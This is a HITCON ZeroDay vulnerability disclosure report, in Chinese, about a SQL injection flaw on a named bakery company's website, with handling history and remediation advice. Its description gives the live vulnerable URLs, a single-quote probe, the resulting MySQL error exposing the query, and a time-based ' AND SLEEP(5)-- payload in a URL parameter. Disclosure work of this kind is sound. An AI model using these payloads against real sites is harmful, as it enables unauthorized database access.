Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00428
- Vendor: 肯啃良品有限公司
- Title: 肯啃鮮乳公司資料庫注入漏洞
- Introduction: SQL Injection資料庫注入攻擊
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/08 04:23:35 : 新提交 (由 FB搜尋"波波的寂寞世界" 更新此狀態)
- 2018/04/08 07:02:05 : 新提交 (由 FB搜尋"波波的寂寞世界" 更新此狀態)
- 2018/04/08 20:20:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 20:20:35 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:46:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:46:13 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:46:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/08 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00428
- 通報者:twfinderaz (FB搜尋"波波的寂寞世界")
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
例如:http://www.kenkenbread.com.tw/new.php?lid=1017032300_223263F3C&sid=1017032314_54185F02C
http://www.kenkenbread.com.tw/new.php?lid=1017032300_223263F3C&sid=1017032314_54185F02C&pid=1017121702_1419DBCB4
敘述
該網站存在SQL Injection,於該網址
http://www.kenkenbread.com.tw/new.php?lid=1017032300_223263F3C&sid=1017032314_54185F02C&pid=1017121702_1419DBCB4
進行簡易測試,如單引號 '
http://www.kenkenbread.com.tw/new.php?lid=1017032300_223263F3C&sid=1017032314_54185F02C&pid=1017121702_1419DBCB4'
可發現網站錯誤訊息
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1017121702_1419DBCB4''' at line 1
select from tp where row id='1017121702_1419DBCB4''
[TEP STOP]
這邊可以得知該資料庫查詢的語法以及 欄位名稱
select from tp where row id='1017121702_1419DBCB4''
進行sleep測試
http://www.kenkenbread.com.tw/new.php?lid=1017032300_223263F3C&sid=1017032314_54185F02C' AND SLEEP(5)-- DnWV&pid=1017032323_072612A46
修補建議
解決方案採用參數化(Parameterized)查詢語法
嚴密的檢查所有輸入值,使用過濾字串函數過濾非法的字元
網站避免使用addslashes還是mysql_real_escape_string,會被繞過
建議Google查一下 SQL Injection攻擊手法,及防範措施Parameterized,
https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A